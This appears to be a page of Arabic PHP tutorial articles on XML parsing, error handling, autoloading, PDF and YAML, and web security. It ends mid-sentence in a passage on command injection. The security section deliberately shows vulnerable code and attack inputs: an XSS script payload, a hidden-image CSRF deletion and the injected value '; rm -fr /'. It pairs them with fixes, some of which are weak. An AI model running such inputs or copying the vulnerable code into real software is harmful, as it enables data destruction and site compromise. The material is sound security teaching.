الخرج: Hello, World! SimpleXML SimpleXML هي مكتبة PHP توفر طريقة سهلة للتعامل مع ملفات XML (خاصةً القراءة والتكرار عبر بيانات XML)، القيد الوحيد هو أنّ ملف XML يجب أن يكون مُصاغ جيدًا (well-formed). تحليل XML باستخدام المنهجية الإجرائية // XML تحميل سلسلة نصية $xmlstr = file_get_contents('library.xml'); $library = simplexml_load_string($xmlstr); // XML تحميل ملف $library = simplexml_load_file('library.xml'); لتحميل ملف XML يمكنك كتابة مسار الملف المحلي أو رابط صالح إذا كان الإعداد allow_url_fopen مضبوطًا إلى "On" في php.ini. تحليل XML باستخدام المنهجية الكائنية التوجه // XML تحميل سلسلة نصية $xmlstr = file_get_contents('library.xml'); $library = new SimpleXMLElement($xmlstr); // XML تحميل ملف $library = new SimpleXMLElement('library.xml', NULL, true); الوصول إلى الأبناء والخاصيّات عندما تحلل SimpleXML ملف XML تحوّل كل عناصر XML فيه، أو العقد، إلى خاصيّات لكائن SimpleXMLElement ناتج، وتحوّل خاصيّات XML إلى مصفوفة ترابطية يمكن الوصول إليها من الخاصيّة التي تعود لها. عندما تعرف أسمائهم: $library = new SimpleXMLElement('library.xml', NULL, true); foreach ($library->book as $book){ echo $book['isbn']; echo $book->title; echo $book->author; echo $book->publisher; } العيب الأساسي لهذه المنهجية أنّه من الضروري معرفة اسم كل عنصر وخاصية في ملف XML. عندما لا تعرف أسمائهم (أو لا تريد معرفتهم): foreach ($library->children() as $child){ echo $child->getName(); // الحصول على خاصيّات هذا العنصر foreach ($child->attributes() as $attr){ echo ' ' . $attr->getName() . ': ' . $attr; } // الحصول على الأبناء foreach ($child->children() as $subchild){ echo ' ' . $subchild->getName() . ': ' . $subchild; } } ترجمة -وبتصرف- للفصول [JSON - XML - SimpleXML - Parsing HTML] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: الأصناف (Classes) والكائنات (Objects) في PHP المقال السابق: تنسيق النصوص وتحليلها في PHP
  5. أخطاء شائعة استدعاء fetch_assoc على قيمة منطقية إذا حصلت على خطأ مشابه للتالي: Fatal error: Call to a member function fetch_assoc() on boolean in C:\xampp\htdocs\stack\index.php on line 7 تتضمن الاختلافات الأخرى شيئًا ما مثل: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given... تعني هذه الأخطاء أنّه يوجد شيء ما خاطئ إما مع الاستعلام (وهذا خطأ PHP/MySQL) أو مع المرجعية. أُنتج الخطأ السابق بسبب الشيفرة التالي: $mysqli = new mysqli("localhost", "root", ""); // لاحظ الأخطاء هنا $query = "SELCT * FROM db"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); لإصلاح هذا الخطأ يُنصَح بجعل mysql يرمي استثناءات بدلًا من ذلك: // أضف هذه الشيفرة في بداية السكربت mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); ستؤدي هذه الشيفرة إلى رمي استثناء مع رسالة تساعدك كثيرًا: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SELCT * FROM db' at line 1 مثال آخر يمكن أن ينتج عنه خطأ مشابه، هو عندما تعطي معلومات خاطئة لدالة mysql_fetch_assoc أو لدالة مشابهة: $john = true; mysqli_fetch_assoc($john, $mysqli); Unexpected $end إذا حصلت على خطأ مشابه للخطأ التالي: Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\stack\index.php on line 4 أو قد يكون بالشكل unexpected $end وهذا يعتمد على نسخة PHP، ستحتاج عندها إلى التأكد من جميع فواصل الاقتباس وكل الأقواس الهلالية والمعقوصة والمعقوفة…. تنتج الشيفرة التالية الخطأ السابق: <?php if (true) { echo "asdf"; ?> لاحظ عدم وجود القوس المعقوص وأنّ رقم السطر الموضح في الخطأ لا صلة له بالموضوع، لأنه دائمًا يظهر السطر الأخير من ملفك. تصريف الأخطاء والتحذيرات أخطاء التحميل غير المتوقعة وأخطاء بناء الجملة تعني العبارة "Paamayim Nekudotayim" نقطتان مزدوجتان باللغة العبرية، لذا يشير هذا الخطأ إلى الاستخدام غير المناسب للعامل (::)، ويحدث عادةً بسبب محاولة استدعاء تابع ساكن في حين أنّه في الواقع غير ساكن. الحل الممكن: $classname::doMethod(); إذا سببت الشيفرة السابقة هذا الخطأ فغالبًا أنت تحتاج إلى تغيير طريقة استدعاء التابع الآتي: $classname->doMethod(); حيث يفترض المثال الأخير أنّ ‎$classname هو كائن من صنف والتابع doMethod()‎ ليس تابعًا ساكنًا من هذا الصنف. إشعار الفهرس غير المعرف Undefined index الظهور: محاولة الوصول إلى مصفوفة عن طريق مفتاح غير موجود في المصفوفة. الحل الممكن: التحقق من التوافرية قبل محاولة الوصول وذلك باستخدام: الدالة isset()‎. الدالة array_key_exists()‎. تحذير عدم إمكانية التعديل على معلومات الترويسة أو الترويسات المرسلة سلفا يظهر هذا الخطأ عندما يحاول السكربت إرسال ترويسة HTTP إلى العميل لكن كان هناك خرج بالفعل سابقًا مما يعني أنّ الترويسات قد اُرسلت سابقًا، وقد يعود ذلك إلى: تعليمتي Print وecho: سينهي خرج هاتين التعليمتين فرصة إرسال ترويسات HTTP، يجب إعادة هيكلية تدفق التطبيق لتجنب ذلك. مناطق HTML خام: تعد شيفرة HTML غير المحللة في ملف ‎.php خرج مباشر أيضًا، يجب ملاحظة شروط السكربت التي ستشغّل استدعاء header()‎ قبل أي كتل خام. <!DOCTYPE html> <?php // فات أوان إرسال الترويسات المسافة البيضاء قبل ‎<?php من أجل التحذير script.php line 1، إذا أشار التحذير إلى الخرج في السطر 1 فغالبًا السبب هو مسافة بيضاء أو نص أو شيفرة HTML قبل وسم الفتح ‎<?php. <?php # ‫يوجد مسافة مفردة/سطر جديد قبل ‎<?‎ معالجة الاستثناءات والإبلاغ عن الأخطاء error reporting ضبط الإبلاغ عن الأخطاء وأماكن عرضها يمكن ضبط الإبلاغ عن الأخطاء بشكلٍ ديناميكي إذا لم يُضبط سابقًا في ملف php.ini وذلك للسماح بعرض معظم الأخطاء. الصيغة int error_reporting ([ int $level ] ) أمثلة // ‫يجب أن تُستخدم دائمًا في الإصدارات السابقة للإصدار 5.4 error_reporting(E_ALL); // (1) error_reporting(-1); ?// بدون ملاحظات error_reporting(E_ALL & ~E_NOTICE); // التحذيرات والملاحظات فقط // كمثال فقط، لا يُنصح بالحصول على إبلاغ عن هؤلاء فقط error_reporting(E_WARNING | E_NOTICE); في الموضع (1) يُظهر الوسيط ‎-1 كل خطأ محتمل حتى عندما تُضاف ثوابت ومستويات جديدة في إصدارات لغة PHP المستقبلية، يقوم الوسيط E_ALL بنفس هذا العمل حتى الإصدار 5.4. ستُسجَّل الأخطاء افتراضيًا من قِبل PHP في ملف error.log في نفس مستوى الملف الذي يُنفَّذ، ويمكنك أن تعرضهم على الشاشة في بيئة التطوير: ini_set('display_errors', 1); ويجب أن تصبح الشيفرة في بيئة الإنتاج: ini_set('display_errors', 0); وستظهر رسالة المشكلة بشكلٍ واضح أثناء استخدام معالِج الاستثناء أو الخطأ. تسجيل الأخطاء الفادحة الخطأ الفادح في PHP هو نوع من الأخطاء التي لا يمكن التقاطها، لا يستأنف البرنامج تنفيذه عند التعرض لخطأ فادح، لكن لتسجيل هذا الخطأ أو معالجة الانهيار بطريقةٍ ما يمكنك استخدام register_shutdown_function لتسجيل معالج الإنهاء. function fatalErrorHandler() { // لنحصل على الخطأ الفادح الأخير $error = error_get_last(); // (1) if (null === $error || E_ERROR != $error['type']) { return; } // تسجيل الخطأ الأخير في ملف السجل // لنفرض أنّ السجلات موجودة في مجلد داخل مجلد التطبيق $logFile = fopen("./app/logs/error.log", "a+"); // الحصول على معلومات مفيدة عن الخطأ $type = $error["type"]; $file = $error["file"]; $line = $error["line"]; $message = $error["message"] fprintf( $logFile, "[%s] %s: %s in %s:%d\n", date("Y-m-d H:i:s"), $type, $message, $file, $line); fclose($logFile); } register_shutdown_function('fatalErrorHandler'); في الموضع (1) معالج الخطأ هذا فقط من أجل مثالنا، يعني عدم وجود خطأ أنّه لا يوجد أي خطأ وأنّ الإنهاء كان مناسبًا وتأكد أيضًا أنه سيعالج الأخطاء الفادحة فقط. تنقيح الأخطاء عرض المتغيرات تسمح الدالة var_dump بعرض محتويات المتغير (النوع والمتغير) لتنقيح الأخطاء. مثال $array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()]; var_dump($array); الخرج array(6) { [0]=> float(3.7) [1]=> string(6) "string" [2]=> int(10) [3]=> array(1) { ["hello"]=> string(5) "world" } [4]=> bool(false) [5]=> object(DateTime)#1 (3) { ["date"]=> string(26) "2016-07-24 13:51:07.000000" ["timezone_type"]=> int(3) ["timezone"]=> string(13) "Europe/Berlin" } } عرض الأخطاء يجب أن تمكّن الإعداد display_errors إذا أردت عرض الأخطاء التي تحدث وقت التنفيذ runtime errors على الصفحة وذلك إما في ملف php.ini أو باستخدام الدالة ini_set. يمكنك اختيار الأخطاء التي تريد عرضها باستخدام دالة error_reporting، أو في ملف ini والتي تقبل الثوابت E_*‎ مجموعةً باستخدام العوامل الثنائية، ويمكن عرض الأخطاء على شكل نص أو بصيغة HTML وذلك حسب الإعداد html_errors. مثال ini_set("display_errors", true); // عرض الأخطاء كنص بسيط ini_set("html_errors", false); // ‫عرض كل شيء باستثناء E_USER_NOTICE error_reporting(E_ALL & ~E_USER_NOTICE); // E_USER_NOTICE trigger_error("Pointless error"); // E_NOTICE echo $nonexistentVariable; // E_ERROR nonexistentFunction(); خرج نصي بسيط: (تختلف صيغة HTML بين التنفيذات) Notice: Undefined variable: nonexistentVariable in /path/to/file.php on line 7 Fatal error: Uncaught Error: Call to undefined function nonexistentFunction() in /path/to/file.php:8 Stack trace: #0 {main} thrown in /path/to/file.php on line 8 الطريقة الشائعة لمعالجة error_reporting هي تمكينه بالكامل باستخدام الثابت E_ALL أثناء التطوير وتعطيل عرض الأخطاء للعامة باستخدام display_errors في مرحلة الإنتاج لإخفاء ما يوجد داخل السكربت. phpinfo()‎ phpinfo(); لهذه الدالة معامل واحد ‎$what يسمح بتخصيص الخرج، قيمته الافتراضية INFO_ALL وتسبب عرض كل المعلومات وتُستخدم عادةً أثناء التطوير لمعرفة حالة PHP الحالية، ويمكنك تمرير المعامل ثوابت INFO_*‎ مجموعةً باستخدام العوامل الثنائية للحصول على قائمة مخصصة، يمكنك تنفيذها في المتصفح للحصول على التفاصيل بتنسيقٍ جيد، وتعمل أيضًا في واجهة سطر أوامر PHP حيث يمكنك نقلها بعرضٍ أفضل. مثال phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES); ستعرض هذه الشيفرة قائمة من موجهات PHP (‏ini_get)ومتغيرات البيئة (‎$_ENV) والمتغيرات المعرفة مسبقًا. Xdebug Xdebug إضافة PHP توفر إمكانيات تنقيح الأخطاء والتحليل، تستخدم بروتوكول تحديد الأخطاء DBGp والتي هي اختصار لـ ‏DeBugGer Protocol، من ميزات هذه الإضافة: مكدس يتتبع الأخطاء. حماية قصوى بمستوى متداخل وتتبع الوقت. بديل مفيد لدالة var_dump()‎ المعيارية لعرض المتغيرات. تسمح بتسجيل كل استدعاءات الدالة متضمنةً المعاملات والقيم المُعادة في ملف بتنسيقات مختلفة تحليل تغطية الشيفرة تحليل المعلومات تنقيح الأخطاء عن بعد (توفر واجهة للعملاء منقحي الأخطاء الذين يتفاعلون مع سكربت PHP المُنفَّذ). إنّ هذه الإضافة مناسبة تمامًا لبيئة التطوير، خاصةً ميزة تنقيح الأخطاء عن بعد التي يمكن أن تساعدك في تنقيح أخطاء شيفرة PHP بدون كتابة العديد من تعليمات var_dump واستخدام عملية تنقيح الأخطاء العادية كما في لغة C++‎ وجافا. تثبيت هذه الإضافة بسيط جدًا: pecl install xdebug # install from pecl/pear وتفعيلها في ملف php.ini: zend_extension="/usr/local/php/modules/xdebug.so" يمكنك الاطلاع على هذه التعليمات للحالات الأكثر تعقيدًا. يجب أن تتذكر عند استخدام هذه الأداة أنها غير مناسبة لبيئات الإنتاج. الإبلاغ عن الأخطاء استخدم الدالتين التاليتين معًا: // تضبط هذه الدالة خيار الإعداد في بيئتك ini_set('display_errors', '1'); // ‫ستسمح ‎?-1‎ بالإبلاغ عن كل الأخطاء error_reporting(-1); phpversion()‎ من الضروري أن تعرف إصدار محلل PHP الحالي أو إحدى الحزم عند العمل مع المكتبات المختلفة والمتطلبات المرتبطة بها. تقبل هذه الدالة معامل اختياري واحد في شكل اسم الإضافة phpversion('extension')‎، إذا ثُبِّتت الإضافة فإنّ الدالة سترجع سلسلة نصية تتضمن قيمة الإصدار وإلا ستُرجع القيمة FALSE، وإذا لم يتوفر اسم الإضافة ستُرجع الدالة إصدار محلل PHP نفسه. مثال print "Current PHP version: " . phpversion(); // Current PHP version: 7.0.8 print "Current cURL version: " . phpversion( 'curl' ); // Current cURL version: 7.0.8 // أو // false, no printed output if package is missing المراجع: http://php.net/manual/en/function.register-shutdown-function.php http://php.net/manual/en/function.error-get-last.php http://php.net/manual/en/errorfunc.constants.php ترجمة -وبتصرف- للفصول Common Errors ، وCompilation of Errors and Warnings ، وException Handling and Error Reporting ، وDebugging من كتاب PHP Notes for Professionals book
  6. التحميل التلقائي (autoloading) كجزء من حل إطار العمل ملف autoload.php: spl_autoload_register(function ($class) { require_once "$class.php"; }); ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف Ruminant.php: class Ruminant extends Animal { public function eats($food) { if ('grass' === $food) { parent::eats($food); } else { echo "Yuck, $food!"; } } } ملف Cow.php: class Cow extends Ruminant { } ملف pasture.php: require 'autoload.php'; $animal = new Cow; $animal->eats('grass'); يمكننا الوصول إلى أي صنف يتبع اصطلاحات التسمية الموجودة في المحمِّل التلقائي وذلك بفضل المحمل التلقائي العام. اصطلاحاتنا في هذا المثال بسيطة: يجب أن يكون للصنف المطلوب ملف في نفس المجلد يُسمّى بنفس اسم الصنف وتُضاف له اللاحقة ‎.php، يجب أن يكون اسم الصنف مطابقًا تمامًا لاسم الملف. بدون التحميل التلقائي، يجب أن نضيف الأصناف الأساسية يدويًا باستخدام require، إذا كنا نبني حديقة حيوانات كاملة سيكون لدينا الآلاف من تعليمات require التي يمكن استبدالها بسهولة بمحمِّل تلقائي واحد. في التحليل النهائي، يعدّ التحميل التلقائي في PHP آلية تساعدك على كتابة شيفرة بآلية أقل لذا يمكنك التركيز على حل مشاكل العمل، كل ماعليك فعله هو تحديد استراتيجية تربط اسم الصنف باسم الملف، يمكنك تنفيذ استراتيجية تحميل تلقائي خاصة بك كما هو الحال هنا، أو يمكنك استخدام أي من المعايير التي تتبناها PHP: ‏PSR-0 أو‏PSR-4 أو يمكنك استخدام المُنشئ لتعريف الاعتماديات وإدارتها بشكلٍ عام. تعريف صنف مضمَّن بدون الحاجة للتحميل ملف zoo.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } $animal = new Animal(); $animal->eats('meat'); تعلم PHP ماهو الصنف Animal قبل تنفيذ التعليمة new Animal لأن PHP تقرأ الملفات المصدرية من الأعلى إلى الأسفل، لكن ماذا لو أردنا إنشاء كائنات من الصنف Animal في عدة أماكن ليس فقط في الملف المصدري الذي عُرِّف فيه، نحتاج للقيام بذلك إلى تحميل تعريف الصنف. تحميل يدوي للصنف باستخدام require ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف zoo.php: require 'Animal.php'; $animal = new Animal; $animal->eats('slop'); ملف aquarium.php: require 'Animal.php'; $animal = new Animal; $animal->eats('shrimp'); لدينا ثلاثة ملفات، يعرّف الملف الأول "Animal.php" الصنف، ويجمع كل المعلومات المتعلقة بالحيوان في مكان واحد بشكلٍ أنيق، ليس لهذا الملف آثار جانبية، هذه نسخة قابلة للتحكم ويمكن إعادة استخدامها بسهولة. يستخدم الملفان الآخران هذا الملف بتضمينه يدويًا، وبما أنّ PHP تقرأ الملف المصدري من الأعلى إلى الأسفل فإنّ تعليمة require ستجد الملف "Animal.php" وتجعل تعريف الصنف Animal متوفرًا قبل استدعاء new Animal. تخيل الآن أنّه لديك عشرات أو مئات الحالات التي تريد فيها إنشاء كائنات جديدة من الصنف Animal قد يتطلب ذلك الكثير من تعليمات require المملة. التحميل التلقائي بديلًا لتحميل تعريف الصنف يدويًا ملف autoload.php: spl_autoload_register(function ($class) { require_once "$class.php"; }); ملف Animal.php: class Animal { public function eats($food) { echo "Yum, $food!"; } } ملف zoo.php: require 'autoload.php'; $animal = new Animal; $animal->eats('slop'); ملف aquarium.php: require 'autoload.php'; $animal = new Animal; $animal->eats('shrimp'); وازن هذا المثال مع الأمثلة الأخرى، ولاحظ كيف استبدلنا التعليمة require "Animal.php‎"‎ بالتعليمة require "autoload.php"‎، مازلنا نضمن الملف الخارجي في وقت التنفيذ لكن بدلًا من تضمين تعريف صنف معين نضمّن منطق يمكن أن يحتوي على أي صنف وهذا يسهّل عملية التطوير،إذ نكتب تعليمة require واحدة لكل الأصناف بدلًا من كتابتها لكل صنف على حدة. يحدث السحر باستخدام spl_autoload_register، إذ تأخذ هذه الدالة مغلِّف وتضيفه إلى رتل من المغلِّفات، عندما تصادف PHP صنفًا ليس له تعريف فإنها تعطي اسم الصنف إلى كل مغلِّف في الرتل، إذا وِجد الصنف بعد استدعاء مغلِّف ما فإنّ PHP تعود إلى عملها السابق، وإذا لم يوجد الصنف بعد تجربة كامل الرتل تتعطل PHP وتطلق الخطأ "Class 'Whatever' not found.‎" التحميل التلقائي مع المُنشِئ يولِّد المُنشئ الملف vendor/autoload.php، يمكنك تضمين هذا الملف ببساطة وستحصل على التحميل التلقائي مجانًا. require __DIR__ . '/vendor/autoload.php'; وهذا يجعل العمل مع اعتماديات من طرف ثالث (third-party dependencies) سهل جدًا، ويمكنك أن تضيف أيضًا شيفرتك الخاصة إلى المحمِّل التلقائي بإضافة قسم تحميل تلقائي إلى composer.json. { "autoload": { "psr-4": {"YourApplicationNamespace\\": "src/"} } } تحدد في هذا القسم رابط التحميل التلقائي، يربط هذا المثال PSR-4 فضاء اسم إلى مجلد، يبقى المجلد ‎/src في المجلد الجذر لمشاريعك في نفس المستوى الموجود فيه المجلد ‎/vendor، يمكن أن يكون لديك اسم الملف src/Foo.php مثلًا والذي يحتوي على الصنف YourApplicationNamespace\Foo. ملاحظة: بعد إضافة مداخل جديدة إلى قسم التحميل التلقائي يجب إعادة تنفيذ الأمر dump-autoload لإعادة توليد وتحديث الملف vendor/autoload.php بالمعلومات الجديدة. يدعم المُنشئ التحميل التلقائي للمعيار PSR-0 وclassmap وfiles بالإضافة إلى PSR-4، يمكنك الاطلاع على مرجع التحميل التلقائي لمزيد من المعلومات. عند تضمين الملف vendor/autoload.php ستُرجع نسخة من المحمِّل التلقائي للمُنشئ، يمكنك تخزين القيمة المُرجعة من استدعاء التضمين في متغير وإضافة المزيد من فضاءات الأسماء، يمكن أن يكون هذا مفيدًا في التحميل التلقائي للأصناف في مجموعة الاختبار، مثال: $loader = require __DIR__ . '/vendor/autoload.php'; $loader->add('Application\\Test\\', __DIR__); إنشاء ملفات PDF في PHP مكتبة PDFlib تتطلب الشيفرة التالية استخدام مكتبة PDFlib لتعمل بشكلٍ صحيح. <?php // تهيئة كائن جديد $pdf = pdf_new(); // ‫إنشاء ملف pdf فارغ جديد pdf_begin_document($pdf);? // ضبط معلومات الملف pdf_set_info($pdf, "Author", "John Doe"); pdf_set_info($pdf, "Title", "HelloWorld"); // تحديد طول وعرض الصفحة pdf_begin_page($pdf, (72 * 8.5), (72 * 11)); // تحميل خط $font = pdf_findfont($pdf, "Times-Roman", "host", 0) // ضبط الخط pdf_setfont($pdf, $font, 48); // تعيين موضع النص pdf_set_text_pos($pdf, 50, 700); // طباعة النص إلى الموضع المحدد pdf_show($pdf, "Hello_World!"); // نهاية الصفحة pdf_end_page($pdf); // إغلاق الكائن pdf_end_document($pdf); // استعادة المحتويات من المخزن المؤقت $document = pdf_get_buffer($pdf); // ‫إيجاد طول ملف PDF وتعيين اسم للملف $length = strlen($document); $filename = "HelloWorld.pdf"; header("Content-Type:application/pdf"); header("Content-Length:" . $length); header("Content-Disposition:inline; filename=" . $filename); // إرسال الملف إلى المتصفح echo($document); // مسح الذاكرة unset($document); pdf_delete($pdf); ?> مكتبة YAML تثبيت الإضافة YAML لا تأتي إضافة YAML مع تثبيت PHP القياسي، بل يجب تثبيتها كإضافة PECL، ويمكن القيام بذلك في لينوكس/يونكس ببساطة: pecl install yaml لاحظ أنّ الحزمة libyaml-dev يجب أن تكون مثبتة على النظام لأنّ حزمة PECL هي مجرد غلاف لاستدعاءات libYAML. يختلف التثبيت على ويندوز، إذ يمكنك تحميل DLL المصرَّف مسبقًا أو بناؤه من المصدر. استخدام YAML لتخزين إعدادات التطبيق توفر مكتبة YAML طريقةً لتخزين البيانات المهيكلة، يمكن أن تكون البيانات مجموعة بسيطة من الأزواج اسم-قيمة أو بيانات هرمية معقدة مع قيم أو قد تكون مصفوفات. بفرض لدينا ملف YAML التالي: database: driver: mysql host: database.mydomain.com port: 3306 db_name: sample_db user: myuser password: Passw0rd debug: true country: us بفرض أننا حفظناه كملف config.yaml، لقراءة هذا الملف باستخدام PHP نستخدم الشيفرة التالية: $config = yaml_parse_file('config.yaml'); print_r($config); سينتج الخرج التالي: Array ( [database] => Array ( [driver] => mysql [host] => database.mydomain.com [port] => 3306 [db_name] => sample_db [user] => myuser [password] => Passw0rd ) [debug] => 1 [country] => us ) يمكن الآن استخدام معاملات الإعدادات ببساطة باستخدام عناصر المصفوفة: $dbConfig = $config['database']; $connectString = $dbConfig['driver'] . ":host={$dbConfig['host']}" . ":port={$dbConfig['port']}" . ":dbname={$dbConfig['db_name']}" . ":user={$dbConfig['user']}" . ":password={$dbConfig['password']}"; $dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']); ترجمة -وبتصرف- للفصول [ Autoloading Primer - Create PDF files in PHP - YAML in PHP‎] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال السابق: التخزين المؤقت (Cache) ومقابس الويب (Webscockets) في PHP
  7. إنّ أمن التطبيقات موضوع مهم لمطوري PHP لحماية المواقع والبيانات والعملاء بما أنّ أغلب المواقع تستخدم PHP، يغطي هذا الموضوع أفضل ممارسات الأمان في PHP والثغرات ونقاط الضعف الشائعة مع أمثلة لكيفية إصلاحها. تسريب إصدار PHP بشكل افتراضي تُخبر PHP الآخرين بالإصدار الذي تستخدمه مثال: X-Powered-By: PHP/5.3.8 لإصلاح ذلك يمكنك إما تغييره في ملف php.ini: expose_php = off أو تغيير الترويسة: header("X-Powered-By: Magic"); أو استخدام طريقة htaccess: Header unset X-Powered-By إذا لم تعمل كل الطرق السابقة يمكنك استخدام الدالة header_remove()‎ التي توفر لك قابلية حذف الترويسة: header_remove('X-Powered-By'); إذا عرف المهاجمون أنك تستخدم PHP والإصدار الذي تستخدمه فيكون من السهل عليهم استغلال خادمك. هجمات البرمجة عبر المواقع (XSS) المشكلة هجمات البرمجة عبر المواقع XSS هي التنفيذ غير المقصود للشيفرة البعيدة من قِبل عميل ويب، قد يعرّض أي تطبيق ويب نفسه لهذه الهجمات إذا كان يأخذ مدخلات من المستخدم ويعرضها مباشرةً في صفحة الويب، إذا كانت المدخلات تتضمن شيفرة HTML أو جافاسكربت فيمكن تنفيذ الشيفرة عن بعد عندما يرسل عميل الويب محتوى ما. مثلًا إذا كان لدينا طرف ثالث يحتوي على ملف جافاسكربت: // http://example.com/runme.js document.write("I'm running"); وتطبيق PHP يعرض مباشرةً سلسلة نصية ممررة إليه: <?php echo '<div>' . $_GET['input'] . '</div>'; إذا تضمن معامل GET غير المُتحقق منه، ما يلي: ‎<script src="http://example.com/runme.js"></script>‎ فسيكون خرج سكربت PHP: <div><script src="http://example.com/runme.js"></script></div> سيُنفَّذ ملف جافاسكربت من طرف ثالث وسترى العبارة "I'm running" على صفحة الويب. الحل عمومًا، يجب ألا تثق أبدًا بالمدخلات من طرف العميل، إذ أنّ قيمة GET أو POST أو ملف تعريف ارتباط cookie يمكن أن تكون أي شيء لذا يجب التحقق من صحتها، عند عرض أي من هذه القيم اهرب بها حتى لا تُقيَّم بطريقة غير متوقعة، وتذكر أنّ البيانات يمكن أن تُنقل حتى في أبسط التطبيقات وسيكون من الصعب تتبع جميع المصادر لذا من المناسب دائمًا أن تهرِّب القيم عند الإخراج، توفر PHP عدة طرق لتهرِّب الخرج بالاعتماد على السياق. الدوال المرشحة تسمح دوال الترشيح في PHP بتعقيم أو التحقق من صحة البيانات المُدخلة إلى سكربت PHP بعدة طرق. وهي مفيدة عند حفظ أو عرض دخل المستخدم. ترميز HTML تحوّل htmlspecialchars أي محارف HTML خاصة إلى ترميزات HTML الخاصة بها، مما يعني أنّها لن تُعالَج بعدها كترميز HTML المعياري، نستخدم التابع التالي لإصلاح مثالنا السابق: <?php echo '<div>' . htmlspecialchars($_GET['input']) . '</div>'; // أو echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>'; الخرج: <div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div> كل ما هو داخل وسم <div> لن يفسّره المتصفح كوسم جافاسكربت وإنّما كعقدة نصية بسيطة وسيرى المستخدم بأمان: <script src="http://example.com/runme.js"></script> ترميز الرابط توفر PHP الدالة urlencode لإخراج روابط صحيحة بأمان عند عرض رابط متولِّد ديناميكيًا. لذا إذا كان المستخدم قادرًا على إدخال بيانات تصبح جزءًا من معامل GET آخر: <?php $input = urlencode($_GET['input']); // أو $input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL); echo '<a href="http://example.com/page?input="' . $input . '">Link</a>'; سيُحوَّل أي دخل ضار إلى معامل رابط مُرمَّز. استخدام مكتبات خارجية متخصصة أو قوائم OWASP AntiSamy قد تحتاج أحيانًا إلى إرسال شيفرة HTML أو نوع شيفرة آخر مُدخل، عندها يجب أن تحتفظ بقائمة من الكلمات المصرَّح بها (قائمة بيضاء) وقائمة بالكلمات غير المصرَّح بها (قائمة سوداء)، يمكنك تحميل القوائم المعيارية المتوفرة في موقع OWASP AntiSamy، وهي اختصار إلى ‏Open Web Application Security Project، تناسب كل قائمة نوع محدد من التفاعل (واجهة برمجة تطبيقات eBay، محرر النصوص tinyMCE وغير ذلك) وهي مفتوحة المصدر. يوجد مكتبات لترشيح شيفرة HTML ومنع هجمات XSS في الحالة العامة وتؤدي على الأقل نفس أداء قوائم AntiSamy مع استخدام سهل جدًا. لديك مثلًا منقي HTML. هجمات تزوير الطلب عبر المواقع (Cross-Site Request Forgery) المشكلة يمكن أن يفرض هجوم تزوير الطلب عبر الموقع CSRF المستخدم النهائي على توليد طلبات ضارة إلى خادم الويب بدون علمه، يمكن استغلال هذا الهجوم في طلبات POST وGET، لنفرض مثلًا أنّ رابط نقطة النهاية ‎/delete.php?accnt=12‎ يحذف الحساب الممرر عبر المعامل accnt في الطلب GET، إذا واجه الآن المستخدم الموثوق السكربت التالي في أي تطبيق آخر: <img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0"> سيُحذف الحساب. الحل الحل الشائع لهذه المشكلة هو استخدام مفاتيح CSRF (‏CSRF tokens)، تُضمَّن هذه المفاتيح في الطلبات بحيث يمكن لتطبيق الويب أن يثق أنّ الطلب قادم من مصدر متوقع كجزء من تدفق العمل العادي للتطبيق، يقوم المستخدم أولًا ببعض الإجراءات مثل عرض نموذج يبدأ بإنشاء مفتاح فريد، مثال بسيط لذلك: <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<randomToken>" /> <input type="submit" /> </form> يمكن بعدها أن يتحقق الخادم من صحة المفتاح مقابل جلسة المستخدم بعد إرسال النموذج لإزالة الطلبات الضارة. مثال إليك المثال التالي: // ‫الشيفرة التالية لتوليد مفتاح CSRF وتخزينه <?php session_start(); function generate_token() { // التحقق من وجود مفتاح لهذه الجلسة if(!isset($_SESSION["csrf_token"])) { // لا يوجد مفتاح لذا ولّد واحدًا جديدًا $token = random_bytes(64); $_SESSION["csrf_token"] = $token; } else { // أعد استخدام المفتاح $token = $_SESSION["csrf_token"]; } return $token; } ?> <body> <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" /> <input type="submit" /> </form> </body> ... // الشيفرة التالية للتحقق من صحة المفتاح وحذف الطلبات الضارة ... <?php session_start(); if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) { // أعد تعيين المفتاح unset($_SESSION["csrf_token"]); die("CSRF token validation failed"); } ?> ... يوجد العديد من المكتبات وأطر العمل التي لها تنفيذ خاص بها للتحقق من صحة CSRF، وبالرغم من أنّ تنفيذ CSRF هذا بسيط فأنت تحتاج إلى كتابة بعض الشيفرة لإعادة توليد مفتاح CSRF ديناميكيًا لمنع سرقة مفتاح CSRF وتحديده. حقن سطر الأوامر المشكلة يسمح حقن SQL للمهاجم بتنفيذ استعلامات عشوائية على قاعدة البيانات، وبطريقة مشابهة فإنّ هجوم حقن سطر الأوامر يسمح للمهاجم ܏بتنفيذ أوامر نظام غير موثوق بها على خادم ويب. ومع وجود خادم غير آمن بشكلٍ صحيح فإنّ هذا يعطي المهاجم تحكمًا كاملًا بالنظام. لنفرض مثلًا أنّ لدينا سكربت يسمح للمستخدم بالحصول على قائمة بمحتويات مجلد على خادم الويب. <pre> <?php system('ls ' . $_GET['path']); ?> </pre> يستخدم الشخص في التطبيقات الحقيقية دوال PHP مضمنة أو كائنات للحصول على محتويات المسار، لكن هذا المثال لإثبات أمني بسيط. قد تتأمل الحصول على معامل مسار بشكلٍ مشابه للمعامل ‎/tmp ولكن بما أنّ أي دخل مسموح به فمن الممكن أن يكون ‎; rm -fr /‎، عندها 